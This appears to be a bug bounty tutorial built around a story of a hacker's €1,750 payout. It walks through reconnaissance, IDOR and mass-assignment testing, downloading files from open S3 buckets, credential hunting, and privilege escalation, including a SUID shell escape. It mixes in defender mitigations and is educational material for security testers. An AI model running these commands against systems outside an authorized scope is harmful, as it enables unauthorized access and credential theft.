Breaking Language Barriers, Breaking Systems: How a Brazilian Hacker Bagged €1,750 with Zero Hindi + Video

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Introduction:

Bug bounty hunting is often perceived as a domain reserved for fluent English speakers and coders who breathe OWASP Top 10. But a recent success story shatters that myth: a Brazilian hacker with minimal Hindi and weak English still walked away with a €1,750 critical vulnerability bounty (CVSS 9.1). The lesson? Technical curiosity and relentless effort trump linguistic perfection. This article dissects the mindset, tools, and techniques behind such wins—transforming language gaps into actionable hacking methodologies.

Learning Objectives:

  • Understand how to execute bug bounty techniques using universal tooling and visual pattern recognition, independent of spoken language.
  • Master essential Linux/Windows commands for reconnaissance, fuzzing, and privilege escalation in real-world targets.
  • Apply step-by-step API security, cloud hardening, and exploitation mitigation strategies used in critical-severity findings.

You Should Know:

1. Universal Reconnaissance: Commands That Speak No Language

Reconnaissance doesn’t require subtitles. Whether you speak Hindi, Portuguese, or Python, these commands work identically across systems. The goal: map the attack surface without reading a single line of documentation.

Linux Commands for Silent Discovery:

 Subdomain enumeration using assetfinder (no English needed)
assetfinder --subs-only target.com | tee subs.txt

HTTP probing with httpx – visual status codes
cat subs.txt | httpx -status-code -title -tech-detect -o live_hosts.txt

Directory fuzzing with ffuf – watch for size/word changes
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 -c

JavaScript endpoint extraction
cat live_hosts.txt | while read url; do curl -s $url | grep -Eo "https?://[^\"']+.js" | sort -u; done | tee js_files.txt

Windows PowerShell Equivalents:

 Resolve DNS and test connectivity
Resolve-DnsName target.com | Select-Object Name, IPAddress
Test-NetConnection target.com -Port 443

Web request and header inspection
Invoke-WebRequest -Uri https://target.com -Method Head | Select-Object Headers, StatusCode

Recursive directory brute-force (custom wordlist)
Get-Content .\common.txt | ForEach-Object { $uri = "https://target.com/$_"; try { $resp = Invoke-WebRequest -Uri $uri -Method Get -UseBasicParsing -ErrorAction Stop; Write-Host "$uri -> $($resp.StatusCode)" } catch {} }

Step‑by‑Step Guide:

1. Run subdomain enumeration against the target scope.

  1. Filter live hosts using status codes (200, 301, 403, 401).
  2. Fuzz each live host for hidden directories; note any irregular response sizes.
  3. Download and grep JavaScript files for API endpoints or leaked keys.
  4. Document all findings in a simple table (URL, status, tech stack) – numbers and colors bypass language.

  5. API Security: Finding Critical (9.1) Flaws Without Manuals

The €1,750 bounty likely involved an API vulnerability—broken object-level authorization (BOLA) or mass assignment. These flaws are identified by manipulating request patterns, not reading API docs.

Tool: Burp Suite / Caido (visual, language-agnostic)

  • Capture request to `/api/v1/users/123/profile`
    – Change ID to 124, 125, or 0, `-1` – observe if another user’s data returns.
  • For mass assignment: add unexpected parameters like `”is_admin”: true` or `”role”: “superuser”` to a POST/PUT request.

Command-line approach with cURL:

 Test IDOR by incrementing user IDs
for id in {100..200}; do
curl -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/user/$id" | jq '.username'
done

Check for horizontal privilege escalation
curl -X PUT https://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","role":"admin"}'

Step‑by‑Step Exploitation Guide:

  1. Intercept any API request containing a numeric or UUID identifier.
  2. Modify the identifier sequentially or with wildcards (e.g., “, %2a).
  3. Observe response: if another user’s PII or settings appear, you have IDOR.
  4. For POST/PATCH, add extra JSON fields; if server accepts them without validation, that’s mass assignment.
  5. Chain IDOR with mass assignment to escalate privileges (e.g., change another user’s password reset email).

Mitigation for Defenders:

  • Enforce strict object-level access controls on every API endpoint.
  • Use allowlist for JSON parameters; reject any unknown fields.
  • Implement rate limiting and UUIDs instead of sequential IDs.

3. Cloud Hardening & Misconfiguration Bounties

Critical severity often stems from exposed cloud storage or misconfigured S3 buckets. No language required—just HTTP verbs and region guessing.

Linux S3 Bucket Enumeration:

 Brute-force bucket names based on permutations
bucket_list="target target-backup target-dev target-staging target-prod"
for bucket in $bucket_list; do
aws s3 ls s3://$bucket --no-sign-request 2>/dev/null && echo "Open bucket: $bucket"
done

List contents of open bucket
aws s3 ls s3://open-bucket-name --no-sign-request --recursive

Download sensitive files
aws s3 cp s3://open-bucket-name/credentials.json . --no-sign-request

Azure Blob Container Check:

 Check for anonymous read access
curl -i https://targetaccount.blob.core.windows.net/container-name?restype=container&comp=list
 If 200 OK with XML listing, container is public

Step‑by‑Step Cloud Hardening for Bug Hunters:

  1. Use `bucket-stream` or `lazyrecon` to discover public buckets via common naming patterns.
  2. Test each bucket with `–no-sign-request` to bypass authentication.
  3. If readable, look for .env, config, backup.sql, `.pem` files.
  4. Attempt write permissions by uploading a test file (ethical only with scope permission).
  5. Report with screenshot proof – images transcend language.

Mitigation Commands (for sysadmins):

 AWS: Block public access
aws s3api put-public-access-block --bucket your-bucket --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

Azure: Disable anonymous access
az storage container set-permission --name container-name --public-access off --account-name account-name

4. Linux Privilege Escalation: Commands That Pay

After landing a shell on a vulnerable server, privilege escalation commands are universal. The following Linux commands (and Windows equivalents) have led to countless bounties.

Linux Enumeration One-Liners:

 Find SUID binaries (classic privesc)
find / -perm -4000 -type f 2>/dev/null

Check writable cron jobs
ls -la /etc/cron /var/spool/cron/crontabs/ 2>/dev/null

Search for passwords in config files
grep -r "password" /var/www/html/ --color=always 2>/dev/null

Kernel exploit check (use with caution)
uname -a; cat /etc/os-release

Windows Privilege Escalation (PowerShell):

 Check unquoted service paths
Get-WmiObject win32_service | Select-Object Name, DisplayName, PathName | Where-Object {$<em>.PathName -notlike '"'} | Where-Object {$</em>.PathName -like ' '}

List always-installed elevated binaries
icacls "C:\Program Files\" 2>$null | findstr "(F)" | findstr "Everyone"

Dump stored credentials
cmdkey /list
dir C:\Users\AppData\Roaming\Microsoft\Credentials\

Step‑by‑Step Privesc Guide:

  1. Run `linpeas.sh` (Linux) or `winPEAS.exe` (Windows) – automated, color-coded output.
  2. Manually verify each highlighted vector: SUID binaries like pkexec, `sudo` misconfigs.
  3. For SUID on find, execute: find . -exec /bin/sh \; -quit.
  4. For writable systemd service files, modify `ExecStart` and restart service.
  5. Always document the full command chain for your report – screenshots of terminal output.

5. Mindset Over Language: Building a Hacker’s Workflow

Thiago B. didn’t need Hindi because he followed visual patterns and tool outputs. Build your own language-agnostic workflow:

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